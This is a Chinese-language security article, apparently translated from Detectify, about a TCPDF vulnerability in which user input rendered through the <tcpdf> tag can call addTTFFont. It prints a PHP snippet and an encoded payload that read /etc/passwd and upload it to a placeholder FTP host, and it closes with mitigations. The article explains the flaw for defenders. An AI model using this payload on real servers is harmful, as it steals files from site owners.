黑客利用PDF生成器窃取WEB服务器上的文件

cd33 9年前

 TCPDF PDF生成器是当今最流行的用于创建PDF文档的PHP库之一,同时也是当今最热门的开源项目之一。它每天拥有数百万用户使用量,其载体一般为CMS程序或者其他WEB应用。然而,黑客利用TCPDF的一个漏洞,可以轻松从WEB服务器上窃取文件。

漏洞利用场景

1、Alice是一个网店的老板,她会发给客户一张PDF文档作为收据,上面写明了采购情况和买家信息。  2、这时,有个叫Chuck的攻击者注意到,Alice忘了在写入PDF文档之前,给“客户名字”这一栏的数据做安全过滤。  3、Chuck通过研究发现,他完全可以在PDF文档里订单的“客户名字”一栏做文章,填入构造的恶意payload(攻击负载)。在PDF文档生成时会执行恶意脚本,从而在Alice的网店服务器上窃取文件。

攻击流程

那么为什么会出现以上的场景呢?具体的细节是这样的:

Chuck在“客户名字”所填的这个恶意Payload,它试图告诉Alice服务器的PDF生成器,希望在此处添加一个服务器本身所带的字体,最后将这个字体文件传到Chuck的FTP服务器上。
但是,PDF生成器在这里,并没有对这个所谓的“字体”文件和这个文件将要发送的地址做任何检查通过这个漏洞,Chuck可以窃取服务器上PHP权限下任何可读的文件。

理解TCPDF

为了设计一个TCPDF模式的PDF,方法有很多。最常见的办法就是在里面创建一个简单的HTML页面,往TCPDF里面加入HTML代码。常见的HTML标签都会被解析,然后转换为PDF格式。比如table、image,以及header。

不过,还有一个特殊标签<tcpdf />默认也是被启用了的。这是一个被TCPDF类调用方法的特殊标签,该元素示例如下:

<tcpdf method="MethodFromTCPDFClass" params="EscapedParamData" />

如果这个HTML元素被传递给writeHTML,且这个TCPDF的方法“MethodFromTCPDFClass”有效,TCPDF会结合其他参数执行这个特殊方法。
换句话来说,如果一个用户把没有经过检查的数据传递给writeHTML,用户就可能偷偷调用运行TCPDF类的某种方法。TCPDF类的这些方法由此可能被黑客所利用。

利用字体加载的方法

TCPDF类有个方法名叫addTTFFont,文档上说明:“它可以转换字体,并将TrueType或者Type1的字体添加进字体包”。当然,这也可以被用于将服务器上的任意可读文件进行压缩,并发送到任意可写的地址,自然这地址也可以是黑客的远程服务器。

addTTFFont方法有着下述的关联参数:

$fontfile--服务器上需要提取的任意可写文件的路径。  $fonttype--黑客需要设置的TrueType  $outpath--文件输出的地址,这里可以填一个黑客的FTP地址。

想要生成一个tcpdf元素,可以使用下面的代码:

$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));

生成结果如下:

<tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fpasswd%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fuser%3Apass%40host%5C%2F%22%5D"/>

如果我们能用TCPDF将代码注入到一个生成的PDF文档里,服务器在生成解析时,会攫取本机/etc/passwd的内容,并将其上传到黑客的FTP服务器上。

TCPDF的安全

现在大家需要做的就是升级TCPDF到最新版本。当然咱们也不止这一个解决办法。针对这个漏洞我们完全可以:

在php.ini里,将allow_url_fopen设为Off  在config/tcpdf_config.php里,将K_TCPDF_CALLS_IN_HTML设为false
[参考来源 detectify ,由FreeBuf小编dawner翻译整理,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]